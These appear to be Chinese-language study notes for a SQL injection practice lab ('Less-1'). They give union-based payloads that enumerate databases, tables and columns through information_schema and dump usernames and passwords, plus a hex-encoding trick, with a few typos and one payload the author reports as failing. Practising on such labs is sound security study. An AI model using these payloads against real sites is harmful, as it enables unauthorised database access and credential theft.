查库:select schema_name from information_schema.schemata
    查表:select table_name from information_schema.tables where table_schema=’security’
    查列:select column_name from information_schema.columns where table_name=’users’
    查字段:select username,password from security.users

    group_concat 将结果作为一行显示

    less-1:
    SELECT * FROM users WHERE id=’1’ LIMIT 0,1

    联合查询
    ?id=-1’ union select 1,2, schema_name from informaton_schema.schemata—+
    语句变为:
    SELECT * FROM users WHERE id=’1’ union select 1,2, schema_name from informaton_schema.schemata—+’ LIMIT 0,1
    此时只能返回默认第一行数据,若想依次查看数据,则要依次用limit0,1/limit1,1/limit2,1/…..来查询
    比如
    ?id=-1’ union select 1,2, schema_name from informaton_schema.schemata limit 1,1—+ //返回第二行数据段内容

    使用group_concat()
    ?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata —+
    语句变为:
    SELECT * FROM users WHERE id=’-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata — ‘ LIMIT 0,1
    这样所有返回的内容都在一行了

    查找完所有库后查找表:
    ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’ —+
    语句变为:
    SELECT * FROM users WHERE id=’-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’ — ‘ LIMIT 0,1

    由于输入表名table_schema=’security’带引号,可以将security转换为16进制再加0x
    ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 —+

    接着查找表的列字段:
    ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ —+
    语句变为:
    SELECT * FROM users WHERE id=’-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ — ‘ LIMIT 0,1

    查找字段:
    ?id=-1’ union select 1,2,group_concat(password) from security.users —+

    要想把usernam和password一对取出来,则要使用新的函数
    concat_ws(‘~’,username,password)
    显示出一个username~password
    要想取出所有的,则可使用group_concat(concat_ws(‘~’,username,password))

    或者利用2号位
    ?id=-1’ union select 1,group_concat(username) from security.users,group_concat(password) from security.users —+ //目前不可用,原因不知道